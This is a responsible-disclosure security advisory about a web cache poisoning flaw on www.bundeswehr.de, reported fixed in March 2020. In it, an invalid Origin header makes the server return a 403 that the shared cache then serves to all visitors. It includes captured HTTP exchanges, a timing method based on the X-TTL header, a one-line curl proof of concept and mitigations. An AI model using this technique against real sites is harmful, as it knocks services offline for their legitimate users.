Security advisory: Denial-of-service for `www.bundeswehr.de` utilizing public "web cache poisoning"

Author: Marcus Mengs

Last change: March 6th, 2020

Short description

An attacker is able to run a Denial-of-Service (DoS) attack against `https://www.bundeswehr.de` by forcing a globally acting web cache to deliver a 403 HTTP response to all issuers of HTTP requests. The attack could be planted using a single, well timed, HTTP GET request and the effect lasts for 300 seconds per attack. The root cause is the `Origin` header field, which is processed by the web server and could be used to enforce a 403 response, while being ignored by the fronting web cache. Ultimately the cache continues to deliver 403 HTTP responses, till the cache entry expires.

General description of `web cache poisoning` vulnerabilities

The main purpose of a web cache is to reduce load on the resource origin (web server), as well as load on the infrastructure between the web cache and the actual server. This is achieved by serving content from the cache instead of serving it from the real resource, in case **the content doesn't change between successive requests** (static). All of this happens transparently from HTTP client's perspective. Transparently means, the requesting user has no obvious indication that responses are shipped from a web cache instead of the real web server (while the real web server doesn't have to handle requests which are already served by the cache). Transparently also means, at least one request has to pass the cache and be handled by the web server, in order to store a cached copy of the response. For successive requests targeted towards the same resource, the web cache decides if the *cached copy* will be delivered as response or if the request has to be forwarded to the web server (to enforce creation of a new response). The aforementioned decision is taken on basis of complex criteria and this report only treats the parts relevant for the discovered vulnerability.

For a web cache to be effective, it is crucial **not** to deliver cached responses for dynamic content (f.e. content which differs between user sessions), while trying to server cached responses for static content (f.e. CSS, static JavaScript files etc). As the web cache has no knowledge of the web application internals, it has to take the decision - wether to deliver cached content or not - based on inspectable criteria. This basically comes down to HTTP header fields of the requests arriving at the web cache (and relevant header fields of respective rsponses, in case they are fetched from the server).

To do so, the cache has to distinguish between header fields relevant to take a "caching decision" (linked keys) and header fields not relevant for the caching decision (unlinked keys).

The target URI of a HTTP GET request, as well as the `Host` header, typically serve as such "linked keys". This is, because they allow to uniquely identify a resource which should be cached. The header field `User-Agent`, on the other hand, is typically an unlinked header field. If it would be used as key criteria for a caching decision, only requests with the exact same `User-Agent` string could receive a cached copy in response (every time a new user agent issues a request, the real web server would have to handle it - which puts the load back on the server).

So from a generic point of view, one could assume that most HTTP header fields, except the request's target URI and `Host` header, are unlinked.

This behavior gets an issue, if an unlinked key has influence on the content of the generated HTTP response. In such a case, the respective unlinked header field serves as input to the web server (as it has influence on the content of the response), while the cache serves copies of older responses generated from different input (because it disregards the unlinked "input" header field for caching decisions)

Example request:

```
GET /greetings.php HTTP/1.1
Host: example.com
Cookie: username=MaMe82;
Connection: close
```

Respective response:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Cache: MISS
Content-Length: ..

<html><body>Hello MaMe82</body></html>
```

For the example above, the `Cookie` header field does not represent a linked key and thus has no relevance for a caching decision. In result a web cache placed between the HTTP client and the web server would cache the response and deliver a copy, whenever the same GET target URI and Host header are used (ignoring the unlinked header field `Cookie`).

Example for a successive request, which is served from the web cache.

```
GET /greetings.php HTTP/1.1
Host: example.com
Cookie: username=User2;
Connection: close
```

Response from cache:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Cache: HIT
Content-Length: ..

<html><body>Hello MaMe82</body></html>
```

The example shows: Because the web cache ignores the `Cookie` header field (no linked cache key) which itself serves as input to the "shadowed" web server, wrong results could be returned in the HTTP responses. In this case the request for `User2` receives the response which was previously cached for the user `MaMe82`.

If a malicious actor is able to identify unlinked keys which serve as input for a web application, a range of attack vectors could arise. The impact largely depends on how the respective input is processed by the web application. Depending on the position of the cache in the overall infrastructure, an attack could only affect a few users or have global effect. Some of the possible vulnerabilities are:

- turn reflective XXS for input header fields into stored XSS (session hijacking, stealing sensitive data etc)
- persist open redirects
- persistent CSRF
- Denial-of-Service attacks (DoS), with a single or very few HTTP requests
- influence on backend routing

Beside the physical position of a web cache in a setup, the cache behavior in terms of `time to live (TTL)` of cached content is relevant (in almost all cases, cache TTLs are long enough to allow planting meaningful attacks). It should also be noted, that web caches not always are maintained by the same entities as the respective web servers. This is especially true for Internet facing web services. For example mobile operators could use web caches for 3G/4G Internet connections (as part of proxies, which are used to compress data like videos). Still, the web server has ways to influence the behavior of external caches (f.e. `Cache-Control` and `Vary` HTTP response headers).

External references

Practical Web Cache Poisoning, James Kettle, August 09, 2018 (link)

Application of web cache poisoning to "www.bundeswehr.de"

Warning !!

In order to avoid impact on other users of `www.bundeswehr.de` while carrying out tests, it is important to introduce an additional invalid "garbage" parameter to all HTTP request URIs, which is **keyed by the web caches in use**. If such a "Cache Buster" would not be used, respective requests could lead to a Denial-of-Service (DoS) for successive requests from legit users of `www.bundeswehr.de` main page.

Test results could still be validated, if the same parameter is used for successive test request (without impacting the main page). Thus faulty responses delivered from caches could be inspected without the need of interfering with the main page.

Throughout this document, the parameter `dontharmothers` serves to fullfil this purpose. If `dontharmothers` is omitted in respective requests, it could lead to global DoS for all successive requests to `www.bundeswehr.de`, until compromised cache result expires (which are 300 seconds per single cache compromise, based on my observations).

Examining cache behavior

... redacted ...

This document only deals with the final landing page `https://www.bundeswehr.de/de/`.

... redacted ...

HTTP response headers for a GET request to `https://www.bundeswehr.de/de/?dontharmothers`:

```
HTTP/1.1 200 OK
Date: <redacted>
Strict-Transport-Security: max-age=63072000;
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Content-Security-Policy: default-src https: blob: data:; script-src data: 'unsafe-inline' 'unsafe-eval'
    blob: https: piwik.bmvg.de *.video-cdn.net *.bundeswehr.de *.bmvg.de maps.googleapis.com
    maps.gstatic.com; style-src data: 'unsafe-inline' https: *.bundeswehr.de *.bmvg.de ; img-src data:
    *.bundeswehr.de *.bmvg.de *.ytimg.com *.fbcdn.net *.twimg.com *.staticflickr.com *.video-cdn.net
    *.facebook.com *.akamaihd.net *.gstatic.com maps.googleapis.com syndication.twitter.com
    platform.twitter.com scontent.cdninstagram.com; font-src data: www.bundeswehr.de *.bmvg.de
    *.video-cdn.net fonts.gstatic.com; connect-src https: blob: data: wss:; report-uri
    https://piwik.bmvg.de/report-uri/
Pragma: no-cache
Expires: 0
Content-Type: text/html;charset=UTF-8
Content-Language: de
Vary: Accept-Encoding
Age: 0
X-Cache: MISS
Cache-Control: private,max-age=2592000,must-revalidate
Accept-Ranges: bytes
Set-Cookie: NSC_CPM_ENA_Q_iuuq=<redacted>;Version=1;Max-Age=120;path=/;httponly
X-Cache: MISS from internet.bwehr.de
X-Cache-Lookup: MISS from internet.bwehr.de:80
Via: 1.1 srbxprpx208ll.internet.bwehr.de (squid)
Connection: keep-alive
Strict-Transport-Security: max-age=63072000;
```

Due to the usage of the already mentioned GET parameter `dontharmothers` the response isn't served from a cache. It could be safely assumed that nobody requested this target URI before. Otherwise, the additional `dontharmothers` parameter has no influence on the response, as it is simply ignored by the web server. In contrast, web caches which are passed by the HTTP GET request do not ignore this parameter, because it is part of the target URI. The target URI, again, is a linked key and thus used for a caching decision (a compromised cache entry will not be delivered to legit users, unless they append the same "Cache Buster" parameter to their request).

Other remarkable observations in the first response:

- `Pragma: no-cache` is used to prevent caching by HTTP/1.0 caches (backwards compatibility)
- in contrast to the `Pragma` header, the `Cache-Control` header for HTTP/1.1 caches isn't set to a value of `no-cache`, but indicates that only `private` caches should store copies of the content (private means "single user" aka. browser caches, NOT web caches which are shared by multiple users/sessions)
- `Vary: Accept-Encoding` indicates that `Accept-Encoding` headers of HTTP requests should be regarded as linked keys for caching (requests with different values for this header, receive different cached copies in response)
- `X-Cache: MISS` this header field indicates, that some web cache tried to fetch a cached copy, although the former header fields try to prevent shared caches. Unfortunately, the `MISS` value lacks the presence of the `from <host>` part - thus it is not clear where this cache is placed. ... redacted ... Additional tests showed: the cache is passed by ALL requests arriving at `www.bundeswehr.de` no matter from where they originate. **This cache is a promising target for cache poisoning attacks**.

Replaying the exact same GET request to `https://www.bundeswehr.de/de/?dontharmothers` (after a delay of a few seconds) introduces the following changes to the HTTP response headers

```
..snip..
Content-Language: de
Vary: Accept-Encoding
Age: 17
X-Cache: HIT
X-Hits: 1
X-TTL: 282.522
Cache-Control: private,max-age=2592000,must-revalidate
..snip..
```

As expected, a successive request is served from a web cache. The `X-TTL: 282.522` header pinpoints that the cached copy expires after about 283 seconds, while the `Age: 17` header indicates that the copy is already 17 seconds old. In summary, a HTTP response will be served from the cache for 300 seconds, after being stored (which is caused by an initial HTTP request).

It should be emphasized, that the `X-TTL` header gives a very precise hint for an attacker, on when to send a (malicious) HTTP request in order to get the intended response stored in the web cache (for global delivery to other users).

Finding an unlinked cache key, which serves as input to cause harm to the web application

As shown in the response excerpt for the initial HTTP GET request to `https://www.bundeswehr.de/de/?dontharmothers`, there are additional headers in use to tighten cross-origin-access- and referrer-policies. When it comes to CORS vulnerabilities, it is common practice to test several inputs to the `Origin` header in HTTP GET requests. Although CORS vulnerabilities are not in scope of this document, it seems the `Origin` header is worth further inspection.

Issuing a GET request with an invalid header of `Origin: invalid` to `https://www.bundeswehr.de/de/?dontharmothers2` results in a new response (note: the "safety parameter" `dontharmothers` was changed to `dontharmothers2`, to avoid reception of responses from web cache instead of the web server):

```
HTTP/1.1 403 Forbidden
Date: <redacted>
Strict-Transport-Security: max-age=63072000;
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Content-Security-Policy: default-src https: blob: data:; script-src data: 'unsafe-inline' 'unsafe-eval'
    blob: https: piwik.bmvg.de *.video-cdn.net *.bundeswehr.de *.bmvg.de maps.googleapis.com
    maps.gstatic.com; style-src data: 'unsafe-inline' https: *.bundeswehr.de *.bmvg.de ; img-src data:
    *.bundeswehr.de *.bmvg.de *.ytimg.com *.fbcdn.net *.twimg.com *.staticflickr.com *.video-cdn.net
    *.facebook.com *.akamaihd.net *.gstatic.com maps.googleapis.com syndication.twitter.com
    platform.twitter.com scontent.cdninstagram.com; font-src data: www.bundeswehr.de *.bmvg.de
    *.video-cdn.net fonts.gstatic.com; connect-src https: blob: data: wss:; report-uri
    https://piwik.bmvg.de/report-uri/
Content-Length: 205
Content-Type: text/html; charset=iso-8859-1
Age: 0
X-Cache: MISS
Cache-Control: private,max-age=2592000,must-revalidate
Set-Cookie: NSC_CPM_ENA_Q_iuuq=<redacted>;Version=1;Max-Age=120;path=/;httponly
X-Cache: MISS from internet.bwehr.de
X-Cache-Lookup: MISS from internet.bwehr.de:80
Via: 1.1 srbxprpx208ll.internet.bwehr.de (squid)
Connection: keep-alive
Strict-Transport-Security: max-age=63072000;
```

The above snippet shows: Setting the `Origin` header to an invalid value, forces the web server to send a 403 response back to the issuer of the HTTP request. Due to the introduced "safety parameter" `dontharmothers2` it is assured that the response has to be served from the web server (there is no cache copy yet). A successive **legit** HTTP GET request to `https://www.bundeswehr.de/de/?dontharmothers2` **without the `Origin` header** applied, is responded like shown below (no matter from which IPv4 source address the request is issued, as long as the request arrives within the 300 second time frame before cache expiration):

```
HTTP/1.1 403 Forbidden
Date: <redacted>
Strict-Transport-Security: max-age=63072000;
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Content-Security-Policy: default-src https: blob: data:; script-src data: 'unsafe-inline' 'unsafe-eval'
    blob: https: piwik.bmvg.de *.video-cdn.net *.bundeswehr.de *.bmvg.de maps.googleapis.com
    maps.gstatic.com; style-src data: 'unsafe-inline' https: *.bundeswehr.de *.bmvg.de ; img-src data:
    *.bundeswehr.de *.bmvg.de *.ytimg.com *.fbcdn.net *.twimg.com *.staticflickr.com *.video-cdn.net
    *.facebook.com *.akamaihd.net *.gstatic.com maps.googleapis.com syndication.twitter.com
    platform.twitter.com scontent.cdninstagram.com; font-src data: www.bundeswehr.de *.bmvg.de
    *.video-cdn.net fonts.gstatic.com; connect-src https: blob: data: wss:; report-uri
    https://piwik.bmvg.de/report-uri/
Content-Length: 205
Content-Type: text/html; charset=iso-8859-1
Age: 253
X-Cache: HIT
X-Hits: 1
X-TTL: 46.771
Cache-Control: private,max-age=2592000,must-revalidate
Set-Cookie: NSC_CPM_ENA_Q_iuuq=<redacted>;Version=1;Max-Age=120;path=/;httponly
X-Cache: MISS from internet.bwehr.de
X-Cache-Lookup: MISS from internet.bwehr.de:80
Via: 1.1 srbxprpx208ll.internet.bwehr.de (squid)
Connection: keep-alive
Strict-Transport-Security: max-age=63072000;
```

So the exact same 403 response is now served from the web cache, even though no invalid `Origin` header exists in successive HTTP requests (as it did in the initial request, which enforced the 403 response - now stored in the web cache).

Once more it should be emphasized: If the `dontharmothers` parameter would not have been used, this would apply to all successive requests issued towards `https://www.bundeswehr.de/de/` or to other target URIs ending up with this URI after redirects.

Building up a full Denial-of-Service attack

Note: This section only handles remaining theory, as a practical implementation would cause outage on `www.bundeswehr.org`.

At this point an attacker knows everything required to enforce 403 responses for all users of `https://www.bundeswehr.de` (either due to direct hits of malformed cache or due to redirects).

In order to poison the cache for `https://www.bundeswehr.de/de/` the attacker has to send a crafted HTTP GET request (including the invalid `Origin` header), for which the web server's response gets stored in the web cache. In contrast to the test requests (where the target URI was mostly uncached, because of the "safety parameter" in use) it could be assumed that many requests from different users arrive for `https://www.bundeswehr.de/de/`. This lowers the attacker's chance to issue a request, for which the response is cached globally. In worst case, there is only a very small time windows every 300 seconds, for which a response for an arbitrary request directed to `https://www.bundeswehr.de/de/` could get cached.

The attacker could increase the probability of being the one whose response gets cached, by continuously sending requests (with the invalid `Origin` header included) in very high frequency. Still the chance chance to land a hit is not at 100 percent. On the other hand, such an attack is very "loud" and produces a noticeable amount of requests.

Thanks to the `X-TTL` header from cached responses, this is not necessary. An attacker gets a very precise timer for the expiration of a cached page. In result, the attacker only needs to send a single malicious GET request at the exact (known) time when the cache entry expires, to force the respective response to get cached (with a probability close to 100 percent for getting his response cached).

This approach could be automated further, in order to re-poison the cache every 300 seconds.

Additional note:

There are multiple web-caches serving responses (likely a load balancer), so the `X-TTL` headers change occasionally. They could be handled separately using the same TTL based approach per cache.

Proof-of-Concept

The attack could be reproduced with a single command:

```
#!/bin/bash

# -D -  :   Dump headers to stdout
# -s    :   silent
# -S    :   show error when silent
# -L    :   follow 302 and request again
# -H    :   add an additional header field in the HTTP request
curl -sSL -D - -H "Origin: invalid" https://www.bundeswehr.de/de/?dontharmothers -o /dev/null
```

The curl command above sends a HTTP GET request leading to a 403 response (only response headers are written to console, content is omitted). For the URI with the "safety parameter" `dontharmothers` this should immediately lead to a cache miss and thus enforce storing a cached copy of the respective 403 response. Successive requests to `https://www.bundeswehr.de/de/?dontharmothers`, should receive a cached 403 response (no matter from where the requests are issued or if they include the malformed `Origin` header or not). This effect lasts until the cache entry expires.

The same applies to `https://www.bundeswehr.de/de/` if the `?dontharmothers` parameter is omitted, but the request has to be timed with cache expiration, as described in the previous section. This, again, is very easy to automate, as the response headers printed to the console include the `X-TTL` field.

Mitigation

- disable the responsible web cache (likely not possible in this case)
- disable processing of the `Origin` header (likely not possible, because of CORS policies)
- introduce the `Origin` header as additional value for the `Vary` header (could cause more server load, but likely most effective in this case)
- adjust the cache (only possible if accessible)

Vendor communication

- February 28, 2020: contacted Bundeswehr
- February 28, 2020: triaged by service provider
- March 6, 2020: deployed fix
- March 6, 2020: disclosure